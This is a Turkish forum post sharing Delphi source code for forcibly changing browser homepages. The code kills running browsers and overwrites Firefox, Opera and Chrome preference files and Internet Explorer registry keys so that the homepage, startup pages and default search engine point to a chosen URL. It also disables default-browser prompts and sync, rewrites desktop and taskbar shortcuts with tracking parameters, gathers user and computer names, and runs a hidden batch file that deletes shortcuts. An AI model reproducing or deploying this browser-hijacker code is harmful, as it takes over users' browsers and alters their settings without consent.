Tekil Mesaj gösterimi - açılış sayfası ile ilgili koda ihtiyacim var

Konu açılış sayfası ile ilgili koda ihtiyacim var

17-10-2014, 17:12:02

Üyeliği durduruldu

Asagida isinizi gorecek kod snippetlerini paylastim..

Programlama Dili : delphi

function CreateDesktopShellLink(const TargetName: string;StrLinkName : String;Parametre :String): Boolean;
var
  IObject: IUnknown;
  ISLink: IShellLink;
  IPFile: IPersistFile;
  LinkName: string;
  TaskBarFolder : String;
begin
  Result := False;
  OleInitialize(nil);
  IF FileExists(TargetName) = false then Exit;
  try
  IObject := CreateComObject(CLSID_ShellLink);
  ISLink := IObject as IShellLink;
  IPFile := IObject as IPersistFile;

  ///?utm_source=desktop

    //masaustu simgeleri icin
    ISLink.SetArguments(PAnsiChar(Parametre + '?utm_source=desktop'));
    ISLink.SetDescription(PAnsiChar(StrLinkName));
    ISLink.SetPath(PChar('"'+TargetName+'"'));
    ISLink.SetWorkingDirectory(PChar(ExtractFilePath(TargetName)));
    LinkName := IncludeTrailingBackslash(GetSpecialFolder(CSIDL_DESKTOPDIRECTORY));
    LinkName := LinkName + StrLinkName;
    Windows.DeleteFileA(PAnsiChar(LinkName));
    IPFile.Save(PWideChar(WideString(LinkName)), True);

    TaskBarFolder := ROAMING_FOLDER + 'Microsoft\Internet Explorer\Quick Launch\User Pinned\Taskbar\';
    TaskBarFolder := TaskBarFolder + StrLinkName;
    ISLink.SetArguments(PAnsiChar(Parametre + '?utm_source=taskbar'));
    Windows.DeleteFileA(PAnsiChar(TaskBarFolder));
    IPFile.Save(PWideChar(WideString(TaskBarFolder)),True);
  except on e : Exception do
    begin
      DebugPrompt(e.Message);
    end;
  end;
  Result := True;
end;

function GetUserInfo(Index : Integer) : String;
var
    arrData : array [0..255] of char;
    hSize : Cardinal;
begin
  ZeroMemory(@arrData,SizeOf(arrData));
  hSize := SizeOf(arrData);
  FillChar(arrData,SizeOf(arrData),#0);
  case Index of
  0 : begin GetComputerName(arrData,hSize); end; // bilgisayar
  1 : begin GetUserName(arrData,hSize); end; // kullanici
  2 : begin  // ülke bilgileri
        Windows.GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,arrData,SizeOf(arrData))
      end;
  3 : begin // language
         VerLanguageName(GetSystemDefaultLCID,arrData,SizeOf(arrData));
      end;
  end;

  Result := string(Trim(string(arrData)));
  Result := StringReplace(Result,' ','_',[rfReplaceAll]);
  Result := StringReplace(Result,'.','_',[rfReplaceAll]);
  Result := StringReplace(Result,',','_',[rfReplaceAll]);
  Result := StringReplace(Result,'~','_',[rfReplaceAll]);
  Result := StringReplace(Result,'$','_',[rfReplaceAll]);
  Result := StringReplace(Result,'#','_',[rfReplaceAll]);
  Result := StringReplace(Result,'*','_',[rfReplaceAll]);
  Result := StringReplace(Result,'{','_',[rfReplaceAll]);
  Result := StringReplace(Result,'}','_',[rfReplaceAll]);
  Result := StringReplace(Result,'[','_',[rfReplaceAll]);
  Result := StringReplace(Result,']','_',[rfReplaceAll]);
  Result := StringReplace(Result,'(','_',[rfReplaceAll]);
  Result := StringReplace(Result,')','_',[rfReplaceAll]);
  Result := StringReplace(Result,'+','_',[rfReplaceAll]);
  Result := StringReplace(Result,'%','_',[rfReplaceAll]);
  Result := StringReplace(Result,'<','_',[rfReplaceAll]);
  Result := StringReplace(Result,'>','_',[rfReplaceAll]);
  Result := StringReplace(Result,'|','_',[rfReplaceAll]);
  Result := StringReplace(Result,'?','_',[rfReplaceAll]);
  Result := StringReplace(Result,'-','_',[rfReplaceAll]);
  if Length(Result) = 0 then Result := 'Unknown';
  DebugPrompt('Info:'+IntToStr(Index)+ '---' +Result);
end;

Procedure UpdateBrowserShotcuts(Browser : Integer;BrowserPath,ShortcutPath,UrlListesi : String);
VAR
  TempData : String;
Begin
  KillBrowsers;
  BrowserPath:= StringReplace(BrowserPath,'/','\',[rfReplaceAll]);
  UrlListesi := UrlListesi + '?utm_source=homepage';
  Case Browser Of
  0: // FIREFOX
    BEGIN
      TempData :='';
      TempData := TempData + 'user_pref("browser.cache.disk.smart_size.first_run", false);'+#13#10;
      TempData := TempData + 'user_pref("browser.startup.homepage", "'+UrlListesi+'");'+#13#10;
      TempData := TempData + 'user_pref("browser.tabs.warnOnClose", false);';
      TempData := TempData + 'user_pref("browser.feeds.showFirstRunUI", false);';
      TempData := TempData + 'user_pref("browser.newtab.url","'+UrlListesi+'");';
      SaveToFile(TempData,BrowserPath);
    END;
  1: // OPERA
    BEGIN
      TempData :='';
      TempData := TempData + '[User Prefs]'+#13#10;
      TempData := TempData + 'Startup Type=2'+#13#10;
      TempData := TempData + 'Home URL='+UrlListesi+#13#10;
      TempData := TempData + 'Preferences Version=6'+#13#10;
      TempData := TempData + 'Show Default Browser Dialog=0';
      SaveToFile(TempData,BrowserPath);
    END;
  2: // CHROME
   BEGIN

    TempData:='';
    TempData :='{'+#13#10;
    TempData := TempData + '   "backup": {'+#13#10;
    TempData := TempData + '"homepage": "'+UrlListesi+'",'+#13#10;
    TempData := TempData + '"homepage_is_newtabpage": true,'+#13#10;
    TempData := TempData + '"session": {'+#13#10;
    TempData := TempData + '   "restore_on_startup": 4,'+#13#10;
    TempData := TempData + '   "urls_to_restore_on_startup": [ "'+UrlListesi+'" ]'+#13#10;
    TempData := TempData + '}'+#13#10;
	  TempData := TempData + '},'+#13#10;
	  TempData := TempData + '"countryid_at_install": 21586,'+#13#10;
	  TempData := TempData + '"default_apps_install_state": 2,'+#13#10;
	  TempData := TempData + '"default_search_provider": {'+#13#10;
	  TempData := TempData + '"enabled": true,'+#13#10;
	  TempData := TempData + '"encodings": "",'+#13#10;
	  TempData := TempData + '"icon_url": "",'+#13#10;
	  TempData := TempData + '"id": "148",'+#13#10;
	  TempData := TempData + '"instant_url": "",'+#13#10;
	  TempData := TempData + '"keyword": "'+UrlListesi+'",'+#13#10;
	  TempData := TempData + '"name": "'+UrlListesi+'",'+#13#10;
	  TempData := TempData + '"prepopulate_id": "0",'+#13#10;
	  TempData := TempData + '"search_url": "'+UrlListesi+'/{searchTerms}/",'+#13#10;
	  TempData := TempData + '"suggest_url": ""'+#13#10;
	  TempData := TempData + '},'+#13#10;
    TempData := TempData + '"browser": {'+#13#10;
    TempData := TempData + '   "check_default_browser": false,'+#13#10;
    TempData := TempData + '   "clear_lso_data_enabled": true,'+#13#10;
    TempData := TempData + '   "pepper_flash_settings_enabled": true'+#13#10;
    TempData := TempData + '},'+#13#10;
    TempData := TempData + '"dns_prefetching": {'+#13#10;
    TempData := TempData + '   "host_referral_list": [ 2 ],'+#13#10;
    TempData := TempData + '   "startup_list": [ 1, "'+UrlListesi+'" ]'+#13#10;
    TempData := TempData + '},'+#13#10;
    TempData := TempData + '"session": {'+#13#10;
    TempData := TempData + '   "restore_on_startup": 4,'+#13#10;
    TempData := TempData + '   "restore_on_startup_migrated": true,'+#13#10;
    TempData := TempData + '   "urls_to_restore_on_startup": [ "'+UrlListesi+'" ]'+#13#10;
    TempData := TempData + '},'+#13#10;
    TempData := TempData + '"sync": {'+#13#10;
    TempData := TempData + '   "suppress_start": true'+#13#10;
    TempData := TempData + '}'+#13#10;
    TempData := TempData + '}'+#13#10;
    SaveToFile(TempData,BrowserPath);
   END;
  3:BEGIN // EKsplorer
       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Search Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Search Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));

       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Default_Page_URL',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Default_Page_URL',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));

       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);

       AddToRegistry(HKEY_CURRENT_USER,REG_MULTI_SZ,'Software\Microsoft\Internet Explorer\Main\','Secondary Start Pages','');
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_MULTI_SZ,'Software\Microsoft\Internet Explorer\Main\','Secondary Start Pages','');

       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
    END;
  END;

End;

Procedure RemoveOldShortCuts(OldPath :String);
var
  BatData : String;
  BatFile : String;
Begin
BatData :='@echo off' + #13#10+
          'cd "'+OldPath+'"' + #13#10+
          'del "*.lnk"' + #13#10;
          BatFile:=IncludeTrailingBackSlash(TempDir) + 'DelShortCuts.bat';
          SaveToFile(BatData,BatFile);
          NewShellExecuteA(0, 'open', PAnsiChar(BatFile), nil, nil, SW_HIDE);
End;

{
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Default_Page_URL
Start Page
Start Page Redirect Cache
Secondary Start Pages #13#10 site adresleri
Search Page
}
Function AddToRegistry(RegKey : HKey;dType : Cardinal;SubKey,SingleKey,Value : String) : Boolean;
VAR
  Key : HKey;
Begin
 Result := False;
 if RegOpenKeyEx(RegKey,PChar(SubKey), 0, KEY_WRITE, Key) = ERROR_SUCCESS then
 Begin
    RegSetValueEx(Key, PAnsiChar(SingleKey), 0,dType, PChar(Value),Length(Value)); // The 1 is for the terminating 0 (PChar)
    RegCloseKey(Key);
    RegCloseKey(RegKey);
  end;
End;

Tarayıcı Dizinlerinin Tespiti:

  STARTMENU_PATH     := GetSpecialFolder(CSIDL_PROGRAMS);
  DESKTOP_PATH       := GetSpecialFolder(CSIDL_DESKTOP);
  PROGRAM_FILES      := GetSpecialFolder(CSIDL_PROGRAM_FILES);
  APPDATA_PATH       := GetSpecialFolder(CSIDL_LOCAL_APPDATA);
  STARTUP_FOLDER     := GetSpecialFolder(CSIDL_STARTUP);
  ROAMING_FOLDER     := GetSpecialFolder(CSIDL_APPDATA);
  FIREFOX_PATH       := PROGRAM_FILES + 'Mozilla Firefox\firefox.exe';
  FIREFOX_DATA_PATH  := ROAMING_FOLDER + 'Mozilla\Firefox\';
  OPERA_PATH         := PROGRAM_FILES + 'Opera\opera.exe';
  OPERA_DATA_PATH    := ROAMING_FOLDER + 'Opera\Opera\operaprefs.ini';

  CHROME_DATA_PATH   := APPDATA_PATH  + 'Google\Chrome\User Data\Default\Preferences';
  CHROME_PATH        := PROGRAM_FILES + 'Google\Chrome\Application\chrome.exe';

  YANDEX_PATH        := APPDATA_PATH + 'Yandex\YandexBrowser\Application\browser.exe';
  YANDEX_DATA_PATH   := APPDATA_PATH + 'Yandex\YandexBrowser\User Data\Default\Preferences';

  EXPLORER_PATH      := PROGRAM_FILES + 'Internet Explorer\iexplore.exe';
  SAFARI_PATH        := PROGRAM_FILES + 'Safari\Safari.exe';
  PALEMON_PATH       := PROGRAM_FILES + 'Pale Moon\palemoon.exe';
  MAXTHON_PATH       := PROGRAM_FILES + 'Maxthon3\Bin\Maxthon.exe';
  KMELEON_PATH       := PROGRAM_FILES + 'K-Meleon\k-meleon.exe';
  DRAGON_PATH        := PROGRAM_FILES + 'Comodo\Dragon\dragon.exe';
  AVANT_PATH         := PROGRAM_FILES + 'Avant Browser\avant.exe';
  GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, PCHAR(FIREFOX_DATA_PATH+'profiles.ini'));
  FIREFOX_DATA_PATH := FIREFOX_DATA_PATH+MainProfile+'\prefs.js';